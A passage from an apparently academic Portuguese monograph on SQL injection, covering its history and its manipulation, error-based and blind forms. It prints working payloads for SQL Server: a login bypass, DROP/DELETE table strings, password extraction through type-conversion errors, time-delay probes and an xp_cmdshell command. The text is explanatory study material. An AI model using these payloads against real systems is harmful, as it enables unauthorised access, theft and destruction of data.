mesmos. 28 “Vulnerabilidades à injeção de código são falhas de programação que permitem a um invasor alterar a semântica de uma expressão em uma aplicação provendo entradas com conteúdo sintático” (PIETRASZEK & BERGHE, 2005). De acordo com Milenkovic et al (2005), um dos maiores problemas de segurança é a execução de códigos maliciosos injetados. Através dessa técnica, criminosos virtuais podem obter o controle total de domínios da web, ter acesso a dados restritos e dentre outras possibilidades destruir dados. Os principais problemas gerados por essa técnica são conseqüência de situações adversas ou errôneas causadas nos sistemas atacados. O propósito do uso da injeção de código consiste em burlar ou modificar a intenção original da funcionalidade do programa, gerar situações anômalas e obter respostas inesperadas da aplicação atacada. “Na maioria dos casos, o propósito do invasor em conduzir um ataque por injeção de código contra uma aplicação web é causar imediatamente uma resposta de um host [...]” (OLLMANN, 2004). A injeção de código pode ser classificada em duas categorias, a de uso intencional e a de uso não intencional: O uso intencional pode ser maligno ou benigno. O uso maligno é o mais comum, as técnicas de injeção de código são populares em invasões de sistemas para obter (roubar) informações, privilégios de administrador ou acessos não autorizados. O uso benigno da injeção de código consiste na utilização dessa técnica para testar o comportamento de um programa e descobrir suas falhas e vulnerabilidades para posterior correção das mesmas. O uso não intencional de code injection acontece quando usuários finais causam situações adversas em um programa sem intenção. Por exemplo, o que um usuário pode considerar como caracteres válidos, podem ter sido considerados pelo programador do sistema como caracteres especiais. Ao assumir esses caracteres como normais na execução do sistema, o usuário pode gerar situações imprevistas, tendo como conseqüências um acesso indevido, um erro fatal de sistema, dentre outros fatores. Existem vários tipos de injeção de código utilizados por hackers principalmente para invasão de aplicações da Internet, a exemplo de SQL Injection, PHP Injection, ASP Injection, Javascript Injection, dentre outros. 29 A técnica SQL Injection é a forma de injeção de código mais utilizada (PIETRASZEK & BERGHE, 2005) atualmente contra sistemas que possuem uma base de dados, e foi definida como “ataque da moda” (RODRIGUES, 2003). Essa técnica também pode ser considerada uma das mais perigosas, pois ataca diretamente a base de dados de uma aplicação. 30 3. SQL INJECTION Esta seção descreve sobre a técnica de invasão SQL Injection. São demonstrados um histórico sobre como surgiu a técnica, características dessa forma de invasão (como e porque funciona) e as três formas de ataque por SQL Injection (manipulação de SQL, SQL Injection baseada em erros e Blind SQL Injection). 3.1 Histórico sobre SQL Injection No dia do Natal de 1998 a edição 54 da revista Phrack foi lançada. “A Phrack é uma revista hacker escrita pela comunidade para a comunidade” (LITCHFIELD, 2005). Era uma excelente fonte de informações técnicas sobre segurança e nesta edição tinha um artigo intitulado "Vulnerabilidades em tecnologias web NT” (LITCHFIELD, 2005) escrito por um especialista de segurança chamado Rain Forest Puppy. Este artigo descreveu, dentre outras coisas, um número de ataques utilizando SQL Injection, contudo ele não usou esse termo em nenhuma parte do artigo naquela época. Rain discutiu sobre aplicações Integrated Database Connector (IDC) e Active Server Page (ASP) rodando em um servidor de informações da Internet da Microsoft alimentado por um banco de dados SQL Server 6.5. Este artigo é a primeira publicação real da técnica de invasão por SQL Injection e só não foi nomeada como tal nessa época (isso viria depois). Logo depois dessa publicação, em fevereiro de 1999, um alerta foi publicado por um site especializado em boletins de segurança chamado Allaire. O boletim discutia as ameaças apresentadas por "Declarações SQL múltiplas em consultas dinâmicas" (LITCHFIELD, 2005). Três meses depois foi lançada uma nova nota interessante por Rain, com coautoria de Matthew Astley, intitulada "Compromisso Remoto ODBC NT" (PUPPY, 1999). O alerta discutia a injeção de código Visual Basic for Applications (VBA) em consultas SQL de acesso, mas outra vez o termo "SQL Injection" não foi usado. Pouco menos de um ano após a publicação do boletim de segurança da Allaire, em três de fevereiro, um novo artigo sobre o assunto foi publicado por Rain. O artigo foi intitulado de "Como eu hackeei a Packetstorm - Uma observação sobre como hackear um fórum wwwthreads por SQL" (PUPPY, 2000). Embora o termo SQL Injection ainda não tenha vindo à tona, Rain estava sendo pioneiro na exploração desta 31 vulnerabilidade. O Packetstorm é um site hacker que possui vários documentos úteis, falhas de segurança (exploits) e scripts. Ao explorar as falhas em uma aplicação wwwthreads escrita em perl, Rain foi capaz de injetar um código SQL arbitrário, ganhando controle do servidor de banco de dados e se fazendo administrador do mesmo. Em setembro, sete meses depois, David Litchfield apresentou um artigo à Blackhat Europe (site de discussões sobre segurança) chamado: "Avaliações de Aplicações em IIS" (LITCHFIELD, 2000). Em uma parte deste artigo foram discutidos ataques a servidores de banco de dados de aplicações em ASP utilizando "SQL Insertion" (inserção SQL). David apresentou o artigo um dia depois à publicação do "fórum de SQL Injection" no site SQLSecurity.com feita por Chip Andrews. Alguns acreditam que Chip Andrews foi o primeiro a usar o termo "SQL Injection" em um documento público, embora a empresa de auditoria e segurança em informática SANS tenha usado esse termo em seus boletins semanais na mesma época. Não se sabe ao certo quem usou esse termo primeiro. Em abril de 2001, David Litchfield apresentou um novo artigo à Blackhat, o nome do artigo era: "Depuração de Aplicações Web Remotas utilizando Mensagens de Erro do ODBC" (LITCHFIELD, 2001). Este artigo introduziu novas técnicas que podiam ser usadas para trabalhar com a estrutura exata de uma aplicação de banco de dados utilizando SQL Injection. O próximo grande passo a frente aconteceu em janeiro de 2002 quando Chris Anley publicou um artigo intitulado "SQL Injection avançado em aplicações SQL Server" (ANLEY, 2002). Este foi o primeiro documento a discutir sobre SQL Injection em grande profundidade. Dois dias antes Kevin Spett havia lançado seu artigo "SQLInjection – Suas aplicações web estão vulneráveis?" (SPETT, 2002), e em Junho, Chris seguiu com outro excelente artigo que introduzia atrasos de tempo (time delays) como uma técnica para acessar dados, maliciosamente chamado de "SQL Injection (Mais) Avançada" (ANLEY, 2002). Neste artigo Chris explicou como usar atrasos de tempo para rastrear dados. Este foi o primeiro exemplo de ataque de inferência. Em agosto de 2002, Cesar Cerrudo desenvolveu um documento intitulado de "Manipulando o Microsoft SQL Server usando SQL Injection" (CERRUDO, 2002) e 32 forneceu uma ferramenta chamada de Data Thief (Ladrão de Dados), com o papel de habilitar dados usando a função openrowset (função do SQL Server que é requerida para acessar dados remotos). Na primeira semana de setembro de 2003 Ofer Maor e Amichai Shulman lançaram um artigo nomeado "SQL Injection de olhos vendados” (MAOR & SHULMAN, 2003) e no final de setembro de 2003 Kevin Spett lançou seu artigo "SQL Injection Cega" (SPETT, 2005). Em 2004 o site sobre vulnerabilidades 0x90.org divulgou a ferramenta SQueaL, agora conhecida como Absinthe, uma ferramenta utilizada para automatizar a consulta de dados por SQL Injection. Esta pequena história menciona os principais passos e avanços conhecidos em relação à técnica de invasão SQL Injection, mas deve ser lembrado que foram escritos muitos outros artigos discutindo sobre técnicas de ataque a servidores de banco de dados por Injeção de código SQL. 3.2 O que é SQL Injection? A SQL Injection ou Injeção de SQL é uma metodologia de ataque que tem como objetivo atacar o banco de dados de uma aplicação web. Essa técnica explora aplicações web alterando declarações de comandos SQL através da manipulação de dados de entrada enviados por formulários HTML, URLs ou qualquer área da aplicação que se comunique com o banco de dados a fim de recuperar informações do mesmo. “Um problema que afeta praticamente todas as linguagens de programação que acessam bancos de dados é a vulnerabilidade de SQL Injection” (AZEVEDO, 2003). Segundo Litchfield et al (2005) freqüentemente aplicações inadvertidas permitem a execução de pesquisas arbitrárias em seu ambiente de banco de dados, negligenciando a verificação dos dados de entrada. Através da técnica SQL Injection invasores se aproveitam de falhas na validação de dados existentes em scripts (CGI) residentes no servidor web. Essas falhas permitem que comandos SQL sejam enviados ao servidor de banco de dados e executados pelo mesmo (Figura 3) sem nenhuma verificação como filtragem de caracteres perigosos, verificação de tipos de dados, checagem de tamanho de variáveis, dentre outros. “A técnica SQL Injection ocorre quando informações enviadas por um navegador a uma aplicação web são inseridas em 33 uma consulta à base de dados sem serem propriamente checadas” (LITCHFIELD et al, 2005). Figura 3 - Esquema da Injeção de SQL (Adaptado de JAVAFREE.ORG, 2003) Segundo Kost (2004), aplicações vulneráveis à SQL Injection podem ser potencialmente exploradas por hackers de várias maneiras como modificar valores SQL, concatenar valores SQL, adicionar chamadas de função e stored procedures a uma expressão, adicionar funções de sistema e procedimentos para descobrir informações críticas sobre o servidor, dentre outras possibilidades. Os invasores que se utilizam da injeção de SQL geralmente inserem apóstrofes em Universal Resource Locators (URLs) que fazem consultas a uma base de dados, ou em campos de entrada para testar brechas que favoreçam a injeção de comandos SQL. Se o intruso receber mensagens de erro será uma boa chance de se conhecer o sistema atacado e descobrir vulnerabilidades à SQL Injection. Muitos desenvolvedores web não têm consciência de como as consultas SQL podem ser usadas, assumindo assim que uma consulta SQL é um comando confiável. A injeção direta de comandos SQL pode permitir ao invasor criar, inserir, destruir ou alterar dados e tabelas, obter acesso a dados confidenciais, obter permissões de administrador ou até mesmo executar perigosos comandos de sistema no servidor de banco de dados dentre inúmeras outras possibilidades. No Brasil quase não existe documentação sobre a técnica de invasão por SQL Injection, sendo as informações existentes limitadas a pequenos artigos realizados em sites sobre segurança. Muitos casos graves de ataques por SQL Injection a sites brasileiros famosos já foram registrados, a exemplo do site do Partido dos 34 Trabalhadores (PT) que foi desfigurado no segundo turno das eleições de 2002 e o site do Ministério da Justiça que foi pichado em 2003 (ANEXO A). Litchfield (2005), baseado em uma avaliação de segurança a procura de vulnerabilidades realizada em 2003/2004, afirmou: “Seis entre dez aplicações que se conectam a um banco de dados são vulneráveis à SQL Injection”. “As técnicas de injeção de comandos podem variar desde uma simples geração de erros, que expõem aspectos do ambiente, até permitir o comprometimento completo do sistema” (RUFINO, 2003). Apesar de existirem diferentes gerenciadores de banco de dados, e estes possuírem diversas funcionalidades próprias, comandos SQL padrão são aceitos pela maioria dessas aplicações, a exemplo de: MySQL, SQL Server, DB2, Access, PostgreSQL, SYBASE, entre outros (TAYLOR, 2003, p.45). Sendo assim, o risco da injeção de comandos não está restrito a um determinado gerenciador (embora uns ofereçam mais riscos que outros). Segundo Litchfield (2005), não importa se a aplicação está rodando Oracle, SQL Server, DB2, MySQL ou Informix em ASP, Java, Cold Fusion, PHP ou Perl, tudo pode ser vulnerável à SQL Injection. A Injeção de SQL é uma técnica muito perigosa, pois se aproveita de uma falha humana. Sendo assim, a utilização de firewalls (filtros de proteção), escolha de linguagem de programação e a escolha do banco de dados não têm influência predominante na proteção contra esse ataque. Este é o principal motivo pelo qual esse tipo de invasão prevalece e é muito difícil de ser erradicado. Ainda que o perigo deste tipo de ataque ficasse restrito à manipulação de bases de dados, o risco já seria suficientemente alto. Porém, infelizmente, a injeção de comandos SQL extrapola estes limites e pode, em alguns ambientes, permitir ao invasor obter informações do sistema, executar comandos arbitrários no servidor, invadir outros servidores da mesma rede e até usar o método como base para ataques a terceiros. 3.3 Formas de SQL Injection A técnica de invasão por SQL Injection pode ser dividida de várias formas. Segundo Hotchkies (2006) a divisão mais abrangente classifica a SQL Injection em três formas de ataque: Manipulação de SQL, SQL Injection baseada em erros e Blind SQL 35 Injection. Nesta Sessão são exibidas características e exemplos dessas três formas de ataque. 3.3.1 Manipulação de SQL Esta é a forma de SQL Injection mais básica e utilizada. A realização de um ataque dessa categoria não exige grande conhecimento de manipulação de banco de dados do invasor (embora caso o invasor detenha este conhecimento a aplicação seja muito mais útil). A forma mais simples de SQL Injection é desviar formulários de login através da manipulação de comandos básicos SQL (SPETT, 2005). Segundo Alfantookh (2004), a manipulação de SQL Injection ocorre quando um invasor consegue injetar uma série de declarações SQL em uma "consulta" através da manipulação de parâmetros em uma aplicação. Muitos sites que abordam assuntos sobre hackers ensinam maneiras de se ter acesso a um banco de dados pela utilização dessa técnica, permitindo que qualquer um seja capaz de realizá-la (daí sua alta periculosidade). A manipulação de SQL consiste em inserir códigos de consulta SQL diretamente em URLs, formulários de entrada de dados (campos de pesquisa, áreas de login, dentre outros) e qualquer área que se comunique com o banco de dados. A finalidade dessa inserção é causar uma situação adversa na realização da consulta no servidor. Um exemplo de consulta realizada por uma aplicação web é demonstrado no Código 5. sql = ‘SELECT *FROM login WHERE nome = ‘nome’ AND senha = ‘senha’ ‘; Código 5 - Esquema de consulta No Código 5 a variável sql representa a consulta que será executada no BD, os dados nome e senha de usuário serão recebidos através de um formulário HTML. Como se pode observar não existe nenhum processo de validação das entradas cedidas pelo usuário, então se o usuário entrasse com o código qualquer no campo nome e o código ‘ or ‘1’=’1 no campo senha, a variável sql ficaria como no Código 6. 36 sql = ‘SELECT *FROM login where nome = ‘qualquer’ AND senha = ‘‘ OR ‘1’=’1’ ‘; Código 6 - SQL Injetada Nesse caso, a consulta procuraria resultados onde o usuário se chamasse ‘qualquer’, a senha seja vazia ou resultados em que ‘1’=’1’. A execução da consulta no Código 6 sempre resultará num resultado verdadeiro, pois ‘1’ é sempre igual a ‘1’. Sendo assim o usuário obterá permissão para entrar normalmente no sistema, podendo atuar no mesmo sem ter cadastro. “Infelizmente, uma notícia ruim para as pessoas bem – intencionadas, mas uma boa notícia para as pessoas mal – intencionadas, é o fato de que 1 = 1 é verdadeiro para cada linha na tabela, assim o invasor vê todas as linhas na tabela” (HOWARD & LEBLANC, 2005, p.378). Várias outras situações podem ser causadas pelo uso dessa técnica, com o uso do comando SELECT, por exemplo, se podem obter várias informações do servidor, como senhas de usuários, nomes de tabelas, dentre outros aspectos. Por exemplo, se o usuário inserisse o código ‘;SELECT *FROM login-- no campo nome a variável sql ficaria como no Código 7. sql = ‘SELECT * FROM login WHERE nome = ‘’; SELECT *FROM login --’ AND senha = ‘‘ OR ‘1’=’1’ ‘; Código 7 - Comentando linhas O caractere ‘;’ indica o fim de um comando SQL, e a instrução ‘SELECT *FROM login’ retorna todos os campos da tabela login. O comando ‘--‘ é um indicador de comentários em SQL, sendo assim a execução dessa consulta no banco de dados resultaria em uma tabela com os dados de todos os usuários e ignoraria tudo que ocorresse depois desse comando (por causa do comentário). “O operador de comentário ‘--‘ é suportado por muitos servidores de banco de dados relacionais, incluindo o Microsoft SQL Server, IBM DB2, Oracle, PostgreSQL e MySQL” (HOWARD & LEBLANC, 2005, p.379). 37 Os mesmos comandos podem ser utilizados em URLs que fazem interação direta com um BD, por exemplo no Código 8. www.site_atacado.com.br/login.php?userid=7 Código 8 - URL normal Se modificarmos a URL do Código 8 para ficar como no Código 9. www.site_atacado.com.br/login.php?userid=7;DELETE%20TABLE%20login-- Código 9 - URL atacada Ao executar a URL do Código 9, o invasor destruirá por completo a tabela login do BD, lembrando que a string ‘%20’ significa um espaço simples em linguagem HTML. É importante lembrar que a injeção de SQL não se limita ao comando SELECT, é possível usá-la para criar instruções com comandos como INSERT, UPDATE, DELETE, DROP, CREATE TABLE, ALTER TABLE, dentre outros inúmeros comandos da linguagem SQL. 3.3.2 SQL Injection baseado em erros Essa técnica de SQL Injection exige um pouco mais de experiência do invasor. O modo baseado em erros consiste na inserção sistemática de códigos para causar erros na aplicação atacada com a intenção de obter informações importantes sobre o servidor atacado através dos erros gerados. Em situações onde o invasor não tem conhecimento sobre a base de dados que ele deseja invadir, forçar uma exceção pode revelar mais detalhes sobre as tabelas ou até mesmo o nome de seus campos e tipos (BOYD & KEROMYTIS, 2004). A forma de SQL Injection com base em erros da aplicação consiste num método de “tentativas e erros”, onde o invasor força a aplicação web a gerar erros, utilizando-os para realizar um estudo sistemático sobre a estrutura desta aplicação e assim poder formular um poderoso ataque. 38 “Hackers geralmente testam vulnerabilidades à SQL Injection mandando para a aplicação entradas que forçariam o servidor a gerar consultas SQL Inválidas. Se o servidor retornar mensagens de erro ao cliente, o invasor irá se esforçar para utilizar engenharia reversa nas porções originais da consulta SQL usando as informações obtidas das mensagens de erro geradas pela aplicação” (SPETT, 2005). Através dos erros gerados por uma aplicação web (Mensagem 1) o invasor pode identificar campos vulneráveis à SQL Injection e obter informações preciosas do banco de dados, tais como tamanho de campos, tipos de campos, número de colunas de uma tabela, nomes de tabelas, dentre inúmeras possibilidades. Um exemplo pode ser visto no Código 10, em que a variável processo recebe uma consulta por processos. processo = SELECT *FROM processos WHERE processo = ‘idprocesso’; Código 10 - Variável processo Se um invasor insere uma apóstrofe (‘) no campo processo da aplicação web, rodando em um servidor de banco de dados Microsoft SQL Server, provavelmente receberá uma mensagem de erro semelhante a da Mensagem 1. • Tipo de erro: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '')) '. /processosql1/tramiteconsulta_1a1.asp, line 30 • Página: GET /processosql1/tramiteconsulta_1a1.asp Mensagem 1 - Erro de sintaxe gerado na aplicação Através desse simples teste, além de descobrir um campo vulnerável a SQL Injection, o invasor obtém várias informações sobre seu alvo (Mensagem 1), como o tipo de gerenciador de banco de dados (SQL Server), a linguagem que faz a conexão com o BD (ASP) e o método de envio das informações (GET). A partir daí muitos outros testes poderão ser gerados para poder então construir um possível ataque. Segundo Litchfield et al (2005) a apóstrofe inserida pelo usuário fechou a primeira apóstrofe presente no código e a segunda apóstrofe ficou aberta gerando um erro de execução no BD. A partir desse erro o invasor poderá começar a injetar literais no campo de pesquisa de processos para adaptar seu comportamento. Por exemplo, uma 39 vez que o invasor descobriu a vulnerabilidade deste campo ele pode apagar a tabela que contém todos os processos cadastrados no BD utilizando o Código 11. processo = SELECT *FROM processos WHERE processo = ‘’;DROP TABLE processos--’; Código 11 - Apagando processos Muitos gerenciadores de banco de dados (SQL Server, MySQL, Oracle, dentre outros) fornecem informações úteis aos invasores tornando-os vulneráveis a esse tipo de invasão. “O SQL Server também é particularmente vulnerável a este tipo de ataque em decorrência de suas mensagens de erro” (LITCHFIELD et al, 2005). De acordo com Litchfield et al (2005), dependendo de como estão configuradas as mensagens de erro geradas pelo gerenciador de banco de dados, através destas um invasor pode obter nomes de tabelas, nomes de usuários ou qualquer dado presente no BD, a versão do BD utilizado, e várias outras informações sobre a base de dados. “Se você recebeu uma mensagem de erro do servidor de banco de dados ou alguma forma de retorno, a injeção foi definitivamente um sucesso” (SPETT, 2005). A forma de ataque SQL Injection baseada em erros apesar de ser menos utilizada que a simples inserção direta de código SQL, é mais perigosa e eficaz, pois um invasor que realiza um ataque desta natureza geralmente detém maior conhecimento sobre banco de dados e estuda toda a estrutura da aplicação web alvo para realizar um ataque. 3.3.3 Blind SQL Injection Essa forma de SQL Injection, também chamada de injeção cega de SQL ou Injeção indireta de SQL, consiste na forma mais completa e de difícil proteção/implementação da SQL Injection. A Blind SQL Injection é muito parecida com o método baseado em erros com a diferença que este método é utilizado quando uma aplicação não retorna mensagens de erro para o usuário final. Esta característica torna esse método potencialmente mais difícil de ser realizado, mas não impossível. O invasor pode ainda preparar-se para roubar dados fazendo uma série de perguntas verdadeiras e falsas através de comandos SQL. Assim como a SQL Injection baseada em erros, a Injeção cega de SQL realiza uma série de testes à procura de informações do 40 servidor de banco de dados. “Se sua aplicação web não retorna mensagens de erro, ainda assim ela pode ser suscetível a ataques de SQL Injection” (SPETT, 2005). A utilização da Blind SQL Injection de forma manual pode levar até meses para gerar algum sucesso na invasão de um sistema web, por esse motivo foram criadas poderosas ferramentas para automatizar esse processo, fazendo com que o mesmo seja efetuado em alguns segundos. São exemplos dessas ferramentas: Acunetix, SQueaL, Absinthe, dentre outras. Estas ferramentas também podem ser muito úteis para desenvolvedores de sites a fim de realizar testes em seus sistemas para verificar se os mesmos não possuem vulnerabilidades. A Blind SQL Injection utiliza valores booleanos para fazer perguntas ao banco de dados à procura de respostas verdadeiras e negativas e depois interpretar os resultados obtidos. Um invasor que deseja realizar um ataque SQL cego tenta criar várias situações em que uma aplicação geraria erros. Analisando o comportamento do sistema, observando como o mesmo lida com os erros e comparando com o que aconteceria em situações errôneas de SQL, o espião formula seus ataques. A técnica mais utilizada por usuários mal-intencionados para realizar ataques cegos a aplicações que não retornam erros é conhecida como atrasos de tempo ou time delays (ANLEY, 2002). Um exemplo de time delay pode ser visualizado no Código 12, que está levando em consideração que o BD atacado seja SQL Server (esta técnica pode ser aplicada para quase todos os gerenciadores de banco de dados). WAITFOR DELAY '0:0:5' Código 12 - Exemplo de Time delay Ao executar o comando do Código 12 em um BD SQL Server o servidor ficará inativo por aproximadamente 5 segundos. Segundo Anley (2002) isto permite ao invasor obter um meio de comunicação com a base de dados através do navegador. O invasor pode utilizar atrasos de tempo para receber respostas de sim ou não para várias questões pertinentes sobre o BD e seu ambiente (LITCHFIELD et al, 2005). Um exemplo de Blind SQL Injection utilizando time delays pode ser dado pelo Código 13. 41 ‘ UNION SELECT IF (SELECT USER) = 'sa' WAITFOR DELAY '0:0:5'-- Código 13 - Exemplo de Blind Injection O comando presente no Código 13 irá congelar a base de dados por 5 segundos se a base de dados estiver rodando com o usuário padrão do SQL Server “sa”. A partir do exemplo no Código 13, várias perguntas podem ser realizadas utilizando atrasos de tempo, como por exemplo, o sistema operacional utilizado ou se o servidor esta protegido por um firewall, dentre outras opções. 42 4. VULNERABILIDADES EM SISTEMAS ESPECÍFICOS O método de invasão por SQL Injection pode ser utilizado na maioria dos gerenciadores de banco de dados conectados à Internet que utilizam à linguagem SQL. Esta Seção demonstra como são realizados ataques por SQL Injection em três dos principais gerenciadores de banco de dados existentes no mercado: SQL Server, MySQL e Oracle. São demonstradas particularidades de cada sistema, algumas das principais vulnerabilidades aproveitadas por invasores e exemplos de ataques. 4.1 Vulnerabilidades Em SQL Server A técnica SQL Injection é provavelmente a forma de ataque mais utilizada contra o gerenciador de banco de dados SQL Server (LITCHFIELD et al, 2005). De acordo com Litchfield et al (2005) aplicações web desenvolvidas em nível doméstico contribuem para o crescimento desse tipo de ataque, pois tais aplicações geralmente não passam pelos mesmos procedimentos de segurança realizados em grandes empresas na construção de softwares comerciais. O SQL Server é uma plataforma rica em serviços e características, mas essa riqueza em atributos pode se tornar maléfica se não for utilizada corretamente. Para BEAUCHEMIN et al (2004) o produto SQL Server sempre foi bem conhecido por ser rico em características, mas aquelas que não são conhecidas pelo administrador podem aumentar a área de exposição ao ataque de hackers. A injeção de código SQL ocorre quando uma informação enviada por um navegador para uma aplicação web é inserida em uma consulta a um banco de dados sem ser apropriadamente checada. Segundo Licthfield et al (2005) o SQL Server é particularmente vulnerável a este tipo de ataque em decorrência de suas mensagens de erro. Scripts que realizam a conexão com o banco de dados geralmente exibem as mensagens de erro retornadas pelo gerenciador de banco de dados por default e, através dessas mensagens, um invasor pode ter acesso a informações importantes da base de dados. “Felizmente para o invasor, se mensagens de erro são retornadas pela aplicação (comportamento padrão do ASP) o invasor pode determinar a estrutura inteira da base de dados, e ler qualquer valor que pode ser lido pela conta que a aplicação ASP está usando para se conectar ao SQL Server” (ANLEY, 2002). 43 Um exemplo de invasão por SQL Injection em SQL Server através da utilização de mensagens de erros seria um formulário HTML que recebe dados de um usuário e os repassa para um script qualquer rodando em um servidor web. No Código 14 temos o esquema da tabela de usuários criada na base de dados. nome varchar(255) senha varchar(255) Código 14 - Esquema da tabela de usuários A consulta realizada é demonstrada no Código 15. SELECT *FROM usuarios WHERE nome = ‘[nome]’ AND senha = ‘[senha]’; Código 15 - Consulta por usuário No entanto o script constrói a consulta através dos dados inseridos pelo usuário utilizando o código 16. var consulta = “SELECT *FROM usuarios WHERE nome = ‘” + nome + “’ AND senha = ‘” + senha + “’”; Código 16 - Variável consulta Um exemplo de mensagem de erro do SQL Server pode ser visualizado inserindo o comando do Código 17 em um dos campos nome ou senha do formulário HTML e enviando-os ao script que realizará a conexão com o BD. ‘ AND 1 IN (SELECT @@VERSION)-- Código 17 - Visualizar versão do SQL Server 44 Ao executar a pesquisa do Código 16 inserindo os dados do Código 17 será retornado um erro ao navegador que revela a versão do SQL Server que esta sendo utilizada no servidor, demonstrado na Mensagem 2. Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a column of data type int. /login.asp, line 16 Mensagem 2 - Versão do SQL Server Segundo Licthfield et al (2005) uma vez que o invasor tem idéia de como é o esquema utilizado para recuperar informações de usuário, ele pode formular uma consulta para adicionar seu usuário. O Código 18 contém o comando utilizado para injetar um usuário no BD. ‘;INSERT INTO usuarios VALUES(‘bob’,’s3cret’)-- Código 18 - Injetando usuário no BD De acordo com ANLEY (2002) as mensagens de erro geradas pelo SQL Server relacionadas à conversão de tipos são especialmente úteis. Se tentarmos converter um literal em um inteiro, o conteúdo inteiro do literal é retornado na mensagem de erro. Esta técnica pode ser usada para ler qualquer valor em qualquer tabela da base de dados. O código 19 exibe um exemplo de como recuperar um nome de usuário da tabela usuarios. 'UNION SELECT MIN(nome) FROM usuarios WHERE nome > 'a'-- Código 19 - Recuperando nome de usuário da tabela O comando do Código 19 seleciona o primeiro nome de usuário em ordem alfabética (o primeiro que é alfabeticamente maior do que a letra ‘a’) da tabela usuarios e tenta convertê-lo em um número inteiro. Os hífens no final do código representam 45 comentários em SQL Server, tudo que estiver após eles será ignorado pelo servidor. Ao tentar executar o comando do Código 19 um erro de sintaxe será gerado (Mensagem 3), revelando um dos nomes da tabela usuarios. Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /login.asp, line 16 Mensagem 3 - Revelando nome da tabela No erro demonstrado na Mensagem 3 foi revelado o nome de usuário admin da tabela usuarios, agora todos os usuários do sistema podem ser enumerados pela substituição do último nome de usuário retornado por “a” (‘admin’) na consulta presente no Código 19, resultando no erro visualizado na Mensagem 4. ' union select min(nome) from usuarios where nome > 'admin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'bob' to a column of data type int. /login.asp, line 16 Mensagem 4 - Revelando próximo nome da tabela Na Mensagem 4 foi revelado o segundo nome da tabela usuario (‘bob’), o mesmo processo utilizado para recuperar o segundo nome é utilizado até que nenhum resultado seja retornado, significando que foram listados todos os nomes de usuário da tabela. De acordo com Litchfield et al (2005) após conseguir a lista de usuários do BD, é possível roubar a senha de qualquer usuário (inclusive o administrador) com o comando representado no código 20. ' OR 1 IN (SELECT senha FROM USUARIOS WHERE nome = 'admin')-- Código 20 - Roubando senha de usuário O comando do código 18 retornará o erro presente na Mensagem 5. 46 Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'nE1410s' to a column of data type int. /login.asp, line 16 Mensagem 5 - Revelando Senha do admin O valor ‘nE1410s’ presente na Mensagem 5 revela a senha do usuário admin, exposta na mensagem de erro gerada pelo SQL Server ao tentar converter o literal senha em um número inteiro. Os exemplos citados demonstram somente algumas das possibilidades que a técnica de erros relacionados à conversão de tipos pode oferecer. Segundo Anley (2002) se um invasor puder obter ricas informações de erro de um BD, seu trabalho será infinitamente mais fácil. 4.1.1 Ataques em nível de sistema Segundo Anley (2002) uma vez que um invasor tem o controle da base de dados, ele certamente desejará obter controle do sistema operacional e até de toda a rede à qual o servidor pertence. Esse acesso pode ser obtido através de recursos conhecidos como Extended Stored Procedures existentes no SQL Server. "Extended Stored procedures são essencialmente Bibliotecas Dinâmicas (DLLs) que utilizam uma convenção de chamada específica do SQL Server para rodar funções externas. Elas permitem aplicações SQL Server a ter acesso a todo o poder das linguagens C/C++, e são características extremamente úteis. Existem um número de Extended Stored Procedures embutidos no SQL Server, e realizam várias funções como enviar emails e interagir com o registro” (ANLEY, 2002). Segundo Spett (2005) existem mais de 1000 (mil) Extended Stored Procedures no SQL Server. Se um invasor estiver trabalhando com SQL Injection em uma aplicação que se conecta a um BD SQL Server, esses procedures podem ser utilizados na invasão. O comando xp_cmdshell é um exemplo de Extended Stored Procedure que permite a execução de comandos arbitrários no sistema operacional do servidor. Segundo Litchfield et al (2005) se a aplicação vulnerável está conectando a base de dados com privilégios de administrador, ataques podem ser lançados no sistema operacional que abriga o banco de dados através do comando xp_cmdshell. Um exemplo da utilização do comando xp_cmdshell está representado no Código 21. 47 ‘; exec master..xp_cmdshell ‘dir > C:\dir.txt’-- Código 21 - Utilização do comando xp_cmdshell Injetando o comando descrito no Código 21 como nome de usuário em uma consulta SQL o invasor irá criar um arquivo chamado dir.txt no diretório C:\ do servidor que abriga o BD e este arquivo conterá uma lista de todos os diretórios de trabalho dos processos SQL Server rodando no momento. De acordo com Anley (2002) desde que o SQL Server esteja rodando normalmente tanto como uma conta local do sistema ou como uma conta de usuário do domínio, um invasor pode realizar uma grande quantidade de estragos. Além do comando xp_cmdshell existem vários Stored Procedures que oferecem ao invasor uma grande possibilidade de executar comandos arbitrários em um sistema que utiliza SQL Server, alguns desses procedures são listados na Tabela 4. Tabela 4 - Extended Stored Procedures (ANLEY, 2002) Função xp_regxxx functions xp_servicecontrol xp_availablemedia xp_dirtree xp_enumdsn xp_loginconfig xp_makecab xp_ntsec_enumdomains xp_terminate_process Descrição Realiza operações no registro da máquina. Permite a um usuário iniciar, desligar e pausar um serviço. Revela os drives disponíveis na máquina. Permite obter uma árvore de diretórios. Enumera os recursos de dados ODBC no servidor. Revela informações sobre o modo de segurança do servidor. Permite ao usuário criar um arquivo comprimido de arquivos do servidor (ou qualquer arquivos que o servidor puder acessar). Enumera os domínios que o servidor pode acessar. Termina um processo. 4.2 Vulnerabilidades em MYSQL Segundo Litchfield et al (2005) a técnica SQL Injection é provavelmente o mais preocupante tipo de ataque a sistemas com BD MySQL, pois é a forma de ataque inicial mais provável de ocorrer em um BD conectado à Internet. Através de uma vulnerabilidade à SQL Injection um invasor pode utilizar um servidor de banco de dados como ponto de partida para atacar a rede à que este faz parte e utilizá-lo como plataforma para lançar outros ataques. A técnica de Injeção de SQL é um grande 48 problema que resulta de uma insuficiente validação de dados de entrada em aplicações web. Para Litchfield et al (2005) a configuração da base de dados pode contribuir muito para o sucesso ou fracasso do invasor. As aplicações MySQL geralmente não retornam 